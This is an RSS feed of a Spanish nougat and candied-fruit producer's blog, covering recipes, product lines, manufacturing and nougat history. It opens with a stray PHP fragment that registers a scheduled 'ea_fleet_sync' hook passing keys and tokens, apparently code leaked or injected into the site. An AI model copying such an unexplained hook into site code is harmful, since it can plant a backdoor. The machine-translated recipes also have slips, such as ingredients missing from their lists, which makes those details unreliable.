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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Blog Archives - Primitivo Picó https://primitivopico.com/en/category/blog-en/ Turrones, porciones, dulces y conservas vegetales Tue, 11 May 2021 08:35:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 The best recipes with candied fruit https://primitivopico.com/en/the-best-recipes-with-candied-fruit/ https://primitivopico.com/en/the-best-recipes-with-candied-fruit/#respond Tue, 11 May 2021 08:35:31 +0000 https://primitivopico.com/the-best-recipes-with-candied-fruit/ The post The best recipes with candied fruit appeared first on Primitivo Picó.

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For foodies today in Primitive Picó we bring you the best recipes for candied fruit. Oranges, cherries, citron … there is so much variety of glazed fruits with which you can make delicious dishes that it is precisely because of the variety, for which there are many recipes that we can find with candied fruit, however we have chosen our favorites.

Marzipan filled with glazed fruit

Ingredients

  • 250 gr raw almonds
  • 250 gr sugar
  • 1 egg
  • 200 gr glazed fruits

Steps to follow

  • 1. Grind the almond in the blender and once it is well chopped we add the sugar and mix well.
  • 2. Add the egg white to this mixture and knead by hand until a homogeneous dough is left.
  • 3.Separate the dough into two equal parts.
  • 4.Place parchment paper on a baking tray and put one of the parts on top, place the glazed fruits on top and cover with the other dough that we had reserved.
  • 5.Seal the sides so that the glazed fruits are inside the dough, and make a few cuts on the top.
  • 6.Meter in the oven, preheated to 180º, for 6 minutes.

Candied fruit cake

Ingredients

  • 3 eggs
  • 1 sachet of yeast
  • 3 glasses of flour
  • 1 glass of milk and 1 glass of oil
  • 1 glass of oil
  • 2 glasses of sugar
  • Lemon zest
  • candied fruits to taste
  • 1 tablespoon of rum or cognac.

Steps to follow

  • 1.For the cake mass, add the eggs, the sugar, the milk and the lemon zest to a bowl and mix everything well. Preheat the oven to 150º.
  • 2.Pour the flour over the dough and stir well so that a homogeneous dough is left on which to pour the glazed fruit pieces and the brandy.
  • 3. Grease a rectangular dish with oil, sprinkle it with flour and pour the dough.
  • 4.Bake in the oven for 30 minutes.

Glazed fruit filled cookies

Ingredients

  • 175 g of butter
  • 2 egg yolks
  • 220 gr of flour
  • 100 grams of sugar
  • Chopped candied fruit

Steps to follow

  • 1.Pour the butter, sugar and egg yolks into a bowl and mix well.
  • 2. Incorporate the flour until you get a homogeneous dough.
  • 3.We are taking small pieces of the dough and making small balls
  • 4.Incorporate the pieces of candied fruit inside the balls and place them on the baking tray.
  • 5.Introduce the cookies to the oven, preheated to 180º for 15 minutes, until golden brown and then let cool.

Pork medallions with candied fruit

Ingredients

  • Pork medallions
  • spring onion
  • a cup of wine
  • milk
  • Brown sugar
  • honey
  • Pepper
  • lard
  • Salt

Steps to follow

  • 1. Season the medallions and seal them. Put them in the oven, preheated to 150º and finish cooking.
  • 2.For the garnish, cut the fruits and onions into wedges and place them in a saucepan together with the butter, sugar and salt. Let it simmer until it begins to caramelize.
  • 3.Place the medallions with the sauce and add the chosen glazed fruits and straight to the table.

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]]> https://primitivopico.com/en/the-best-recipes-with-candied-fruit/feed/ 0 Sweet Potato Cream from Primitivo Picó https://primitivopico.com/en/sweet-potato-cream-from-primitivo-pico/ https://primitivopico.com/en/sweet-potato-cream-from-primitivo-pico/#respond Tue, 11 May 2021 08:35:04 +0000 https://primitivopico.com/sweet-potato-cream-from-primitivo-pico/ The post Sweet Potato Cream from Primitivo Picó appeared first on Primitivo Picó.

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The Sweet potato cream from Primitivo Picó It is characterized by the sweet taste of the sweet potato and its creamy texture. The sweet potato is a tuber like the potato but is characterized mainly by its sweet taste , unlike the potato. Regarding sweet potato properties, the main ones are that they have a high content of vitamin E, low caloric intake, high potassium content … At Primitivo Picó we make supreme quality sweet potato cream.

Sweet potato cream on our plates

Sweet potato cream has multiple uses in the kitchen, since it is a versatile accompaniment, sweet potato cream can accompany both meats, fish, desserts, or even take it alone

For meats, sweet potato cream is an ideal accompaniment, with grilled meats the sweet potato cream will add flavor to the dish and a smoother texture for consumption.

As for fish, usually for baked or grilled fish , like salmon or hake, it is also usually a good accompaniment.

Sweet potato cream can be served on its own, with pieces of chopped ham.

Mixed with other ingredients, such as onion, garlic and cream, the sweet potato cream can be used to make a side sauce for pasta, for example, for gnocchis.

As a salty snack, sweet potato cream pie, or for dessert, sweet potato cream puff pastry patties.

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]]> https://primitivopico.com/en/sweet-potato-cream-from-primitivo-pico/feed/ 0 Nougat without sugar for Christmas https://primitivopico.com/en/nougat-without-sugar-for-christmas/ https://primitivopico.com/en/nougat-without-sugar-for-christmas/#respond Tue, 11 May 2021 08:32:30 +0000 https://primitivopico.com/nougat-without-sugar-for-christmas/ The post Nougat without sugar for Christmas appeared first on Primitivo Picó.

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On Primitive Picó we are manufacturers of nougat 1943, within the wide range of nougat that we manufacture in Primitivo Picó we also make and sell nougat without sugar

But how is nougat made without sugar?

When we talk about nougat without sugar, we actually mean nougat without added sugar, that is, no sugar is added as an ingredient to the nougat dough. In this case, to make the nougat without sugar, what we have to achieve is substitute sugar and honey for sweeteners , which will be in charge of giving the product that sugary flavor and in addition to providing it with the necessary properties to give consistency, texture …

The most widely used sweetener is maltitol, sorbitol is also used, since they have characteristics similar to sucrose.

As for the main differences of traditional nougat and sugar-free nougat, they would not be remarkable, only the caloric intake, and even so the calories that traditional nougat as well as sugar-free nougat contribute are not much higher. Therefore, sugar-free nougat cannot be considered a low-calorie product , as you are usually aware of sugar-free products.

Regarding its ingredients, the main difference is in the substitution of honey and sugar for sweeteners, then the main ingredients are kept, such as almond and egg white.

Therefore in terms of flavor, and aroma the differences are minimal s, a way to consume nougat this Christmas but without sugar. Therefore, you can enjoy the usual flavors: soft almond nougat, hard, chocolate … Discover all our tablets Y servings with no added sugars.

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]]> https://primitivopico.com/en/nougat-without-sugar-for-christmas/feed/ 0 Manufacturing process of artisan nougat https://primitivopico.com/en/manufacturing-process-of-artisan-nougat/ https://primitivopico.com/en/manufacturing-process-of-artisan-nougat/#respond Tue, 11 May 2021 08:27:44 +0000 https://primitivopico.com/manufacturing-process-of-artisan-nougat/ The post Manufacturing process of artisan nougat appeared first on Primitivo Picó.

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The manufacturing process of artisan nougat it is a process that requires time, work and dedication. At Primitivo Picó we follow the recipes of our nougat masters, which means that, together with the quality of raw materials used in the manufacturing process, a high quality final product is achieved.

When making artisan nougat, the most important thing is to have quality ingredients such as: pure bee honey, top quality roasted almonds, egg, sugar … Although these raw materials will be incorporated in different quantities depending on the quality of the nougat: supreme quality (60% almond, minimum 10% honey), extra quality (50% almond, minimum 10% honey) and popular quality (30% almonds).

Next we go on to detail the Steps of the manufacturing process:

Mixed The first step of the manufacturing process is the mixing of honey, sugar, creating a homogeneous mass, On top of which the almonds are added later, either in pieces or ground according to the type of nougat.

Laminate Different process for hard almond nougat, in which the mixture is poured into molds where, once cold, blocks of nougat will be created that will later be desoldered and cut into portions or tablets, ready for packaging. In the case of soft almond nougat, the dough is spread out on special tables, once cold it goes through the grinding process.

Grinding In this step the ground or crushed the soft almond nougat dough, made earlier. The dough is introduced into stone mills where everything is crushed, mixed and refined very well.

Boixet These machines are in charge of giving the final touch to our soft almond nougat. In this stage, the necessary cooking point is given for the dough, through the heat incorporated with steam as well as the continuous up and down movement of the batter. The nougat master will be in charge of deciding the sweet spot for nougat. If we want it to have that character granulated, instead of refined, In this same step, small pieces of toasted almonds are added to said dough.

Packing In the case of hard almond nougat, once mixed and introduced into the molds, let it cool and it can already be shaped, for subsequent packaging. In the case of soft almond nougat, at the end of its cooking in the boixet it is allowed to cool for a period of 48 hours in molds where the excess almond oil is compacted and released. Once the cooling time has passed, it is cut into tablets or portions and packed.

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]]> https://primitivopico.com/en/manufacturing-process-of-artisan-nougat/feed/ 0 Manufacturers of nougat, sweets and canned vegetables since 1943 https://primitivopico.com/en/manufacturers-of-nougat-sweets-and-canned-vegetables-since-1943/ https://primitivopico.com/en/manufacturers-of-nougat-sweets-and-canned-vegetables-since-1943/#respond Tue, 11 May 2021 08:26:54 +0000 https://primitivopico.com/manufacturers-of-nougat-sweets-and-canned-vegetables-since-1943/ The post Manufacturers of nougat, sweets and canned vegetables since 1943 appeared first on Primitivo Picó.

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On Primitive Picó we are manufacturers of nougat, sweets and vegetable preserves since 1943, the years of tradition, as well as following the recipes of yesteryear, and the use of quality raw materials have led us to create a catalog of top quality products, capable of satisfying the most demanding palates.

In addition to the manufacture of this type of products in Primitivo Picó we also take care of marketing them to different commercial areas, workshops …

Among the products that you can find in our catalog are:

  • Nougat tablets: we are manufacturers of nougat tablets of different types of qualities. The quality of the nougat is really important, since depending on the percentage of presence of some ingredients, such as honey and almonds, it is considered high-end nougat, or more popular nougat. Thus in Primitivo Picó we manufacture from quality nougat tablets from supreme, to popular, through peanut tablets, where the main ingredient is peanut instead of almond, and sugar-free tablets.
  • Nougat portions Portions of chocolate and almond nougat, soft almond nougat, hard nougat, garnish, nut cream nougat, fruit nougat, crunchy chocolate nougat. Nougat portions of different flavors, and different qualities; supreme and extra. And also, our portions of nougat without sugar.
  • Glazed Fruit: The glazed fruit is made by cooking the different fruits – citron, pears, oranges, cherries, pumpkin … in syrup and then left to dry. Also known as candied fruit or candied fruit, the glazing process takes a long time, but the results are incredible as they highlight the ability for the fruit to remain in optimal conditions for long periods of time, without the need to use chemicals . At Primitivo Picó we sell glazed fruit in different formats, trays, in bulk, as well as unsweetened glazed fruits.
  • Confectionery: Where they have a place from angel hair, such as sweet potato cream, liquid nougat, and candied fruits, which are especially used in confectionery. We sell cubes of different sizes, from 2.5 kg to 20 kg.

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]]> https://primitivopico.com/en/manufacturers-of-nougat-sweets-and-canned-vegetables-since-1943/feed/ 0 Main ingredients Primitivo Picó nougat https://primitivopico.com/en/main-ingredients-primitivo-pico-nougat/ https://primitivopico.com/en/main-ingredients-primitivo-pico-nougat/#respond Tue, 11 May 2021 08:26:03 +0000 https://primitivopico.com/main-ingredients-primitivo-pico-nougat/ The post Main ingredients Primitivo Picó nougat appeared first on Primitivo Picó.

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When making a product, the most important thing is to use quality raw materials, that is why the main ingredients of Primitivo Picó nougat are consciously chosen, and all the flavor and quality of our products depend on them.

First of all, if we must talk about an essential element in the production of nougat, it is almonds, the main ingredient in most of our nougats, except for the extra peanut nougat, which is replaced by peanuts. This dry fruit so characteristic of nougat whole, ground, sprinkled on top, in small pieces … it provides an unbeatable flavor and texture. With their great nutritional properties, almonds provide a large amount of calcium, vitamin E, energy …

Another characteristic ingredient of our nougat and that adds a sweet touch is honey. Pure bee honey from the most select hives, this honey is cooked and incorporated into the toasted or peeled almonds to form that mass to which another main ingredient is added, the egg white, which provides consistency. Both honey, almonds, egg white, are Mediterranean products loaded with flavor and benefits for our health.

Since the beginnings of the manufacture of nougat, which date its beginnings for more than five centuries, almonds and honey have been the main ingredients. Over time, other types of products have been innovated, derived from the original hard and soft almond nougat, in which the only thing that has been done is to add other types of ingredients to the original recipe, chocolate, fruit. glazed, walnuts …

Although, whatever the type of nougat, the quality of the raw materials used in its preparation as well as the careful manufacturing process, which follows the recipes of our ancestors, makes our products a true pleasure for the senses.

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]]> https://primitivopico.com/en/main-ingredients-primitivo-pico-nougat/feed/ 0 Liquid nougat to cook the best recipes https://primitivopico.com/en/liquid-nougat-to-cook-the-best-recipes/ https://primitivopico.com/en/liquid-nougat-to-cook-the-best-recipes/#respond Tue, 11 May 2021 08:25:10 +0000 https://primitivopico.com/liquid-nougat-to-cook-the-best-recipes/ The post Liquid nougat to cook the best recipes appeared first on Primitivo Picó.

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The liquid nougat It is a fundamental ingredient in many recipes, especially pastry recipes to make puddings, ice creams. Primitive Picó we market the liquid nougat In 10kg buckets, it is therefore more demanded by cooks, pastry chefs, restaurants … Being a large amount of product, which is also preserved in perfect condition and has a long-term expiration date, which allows it to be used, as well as preserved, for a long time.

On Primitive Picó we sell two types; our refined liquid nougat, with a smooth and fine flavor, which is mainly characterized by being a homogeneous dough ideal for quality confectionery elaborations, as well as we elaborate the granulated liquid nougat in which the dough is not filtered or strained and inside it houses small pieces of nougat that gives a crunchy touch, ideal for accompanying sauces, for example.

In addition to treating liquid nougat in a different way to achieve two results, at Primitivo Picó we make liquid nougat in different ways. quality, supreme or extra , in which like the tablets Y portions of nougat the difference lies in its percentage of almond and honey that compose it, it should be noted that they are the two highest quality nougat manufacturing, with which a product is obtained that will load your dishes with flavor.

The liquid nougat can be the best ally in the kitchen , It can be used spread like for example on a crepe, waffle with liquid nougat, puff pastry filled with nougat, as well as the main ingredient to make puddings, ice cream, nougat cakes and chocolate, nougat cream, coulant, nougat mousse, in this case it is better to use granulated liquid nougat for its creamier texture … But the liquid nougat in addition to being used for pastries can also be a perfect complement to the best dishes, such as made sauce to accompany meats , such as sirloin or veal, or also for fish like salmon.

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On Primitive Picó We manufacture and market nougat tablets of different characteristics depending on the% of almond and honey that they contain inside. So as for our tablets we can distinguish nougat tablets supreme quality, extra quality, popular quality, extra peanut and no sugar.

Supreme Quality Nougat Tablets

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The supreme quality nougat tablets are the highest quality tablets manufactured in Primitivo Picó. The quality comes from its high percentage of almonds present in more than 65% , as well as the pure bee honey that must be at least 10% present These two are the main ingredients of our supreme nougat tablets, where you will find a great variety, from the most traditional such as: soft almond nougat tablet, hard, as well as other flavors such as: toasted egg yolk nougat tablet, fruit, coconut, nut cream and imperial cake.

Within the supreme quality nougat tablets we also commercialize soft nougat on stone , as well as an assortment of crafts with the best selection of our supreme quality nougat.

Extra Quality Nougat Tablets

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Behind the supreme tablets, in terms of quality, the following would be the extra quality nougat tablets. With a lower percentage of almond 50% and keeping the 10% pure honey make these tablets a product capable of satisfying the most demanding palates.

Preserving the artisan flavors such as those of hard and soft almond nougat, in these tablets we include other different varieties such as the extra quality chocolate tablet with almond, extra sesame and pine nut nougat .

Popular Quality Nougat Tablets

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Popular quality nougat tablets are characterized by the fact that among their main ingredients they contain a 30% almond. In this case, the variety is less, making only a tablet of Hard and soft nougat of this quality.

Extra Peanut Nougat Tablets

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In these nougat tablets the almond as a primary ingredient is replaced by peanut, which gives this product a totally different flavor to nougat made from almonds. As for the variants, in Primitivo Picó you can find tablets of hard nougat, soft, peanut hard, peanut soft í and also the typical nougat cake.

Sugar Free Nougat Tablets

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Among our products we include the elaboration of nougat tablets with no added sugar In its most traditional variants, hard roasted almond and honey nougat, supreme quality without sugar, as well as soft almond nougat, also in our superior quality.

If you want more information about our Primitivo Picó nougat tablets or other of our products call us at 957 50 00 77, write us an email to sales@primitivopico.com or visit our factory located at 14900, Lucena. Cordova

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]]> Glazed fruit of Primitivo Picó https://primitivopico.com/en/glazed-fruit-of-primitivo-pico/ https://primitivopico.com/en/glazed-fruit-of-primitivo-pico/#respond Tue, 11 May 2021 08:22:18 +0000 https://primitivopico.com/glazed-fruit-of-primitivo-pico/ The post Glazed fruit of Primitivo Picó appeared first on Primitivo Picó.

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The glazed fruit It is the fruit that has been cooked in syrup and left to dry for c onserve its properties for much longer without the need to use artificial preservatives. Also known as candied fruit or candied fruit, it is characterized by having a shiny appearance and great texture. But above all because it is an indispensable element in Christmas baking.

As elaborated?

The frosting process takes a lot of time and dedication. In very general terms, it consists of repeating the process of maceration of the fruit in an almibar for several days. The fruit must be clean, without skin and all seeds and membranes must be removed.

Glazed fruit and Christmas sweets

As we have mentioned before, this delicious fruit is used a lot in Christmas pastries. And is that one of the typical Christmas sweets that carry these delicious fruits is the Roscón de Reyes.

The Roscón de Reyes It is the sweet that is eaten in the morning or afternoon of the Three Kings Day, putting the finishing touch to the Christmas festivities. Legend has it that in this delicious dessert the glazed fruit represents the gems that the kings of the East wore on their robes. But what people wonder the most is … “What is the green of the Roscón de Reyes?” . Well, it is nothing other than … green pumpkin!

In addition to the Roscón, it is also very traditional to find the famous fruit nougat . Made with ground almonds, a few pieces of glazed fruit are included in the process. Giving a touch of originality and flavor to the famous almond nougat.

Glazed fruit in Christmas products from abroad

And it is that our delicious glazed fruit is not only found in Spanish Christmas pastries. For example in Italy he is very famous Panettone . Traditional from Milan, it is a sweet bread made from flour, eggs, butter and sugar. Before being baked, the glazed fruit is added to the dough.

If you want to know more about this delicious product, we invite you to visit the section “Glazed fruit” of our products. Can you resist the temptation?

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]]> https://primitivopico.com/en/glazed-fruit-of-primitivo-pico/feed/ 0 History and origin of nougat https://primitivopico.com/en/history-and-origin-of-nougat/ https://primitivopico.com/en/history-and-origin-of-nougat/#respond Tue, 11 May 2021 08:21:14 +0000 https://primitivopico.com/history-and-origin-of-nougat/ The post History and origin of nougat appeared first on Primitivo Picó.

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The history of nougat as a sweet made from almonds and honey does not have a clear origin, there are several theories and legends that speak of the beginning of this delicacy, which we will reveal to you throughout our post.

The first data that speak of the existence of nougat dates back to the sixteenth century, although although others date the origin of this sweet from the I am eleventh in the old Arabian peninsula , who were in charge of the nougat, which they called “turun” little by little it was known in Italy and Spain.

On the other hand, other stories speak that the beginning of the nougat took place during the reign of Felipe IV or Felipe V fruit of a contest of the time in which it was intended to find non-perishable food for a long period of time. Contest from which he was victorious a confectioner whose last name was Turrons .

Also in some documents of the time this sweet was already present, such as in the texts of Lope de Rueda’s play from 1570 .

Although, whatever the beginning of the production of nougat today, the manufacture of this sweet so consumed at Christmas is own from Italy and Spain Especially in the area where both almonds and honey are grown, so on the Mediterranean coasts and Al-Andalus we see that many other sweets of the time incorporated these ingredients.

Consume nougat at Christmas It is a tradition totally rooted in our country, although, more and more nougat is marketed throughout the year, with Christmas being the time when it is most produced, this fact, in its beginnings, could have a clear explanation, because honey and almonds were quality products, and therefore they were only consumed on designated dates.

In our particular case, Primitive Picó has been manufacturing and marketing nougat in tablets and portions of different quality and flavor since 1970 , working with this product throughout the year, although at Christmas, it is high season.

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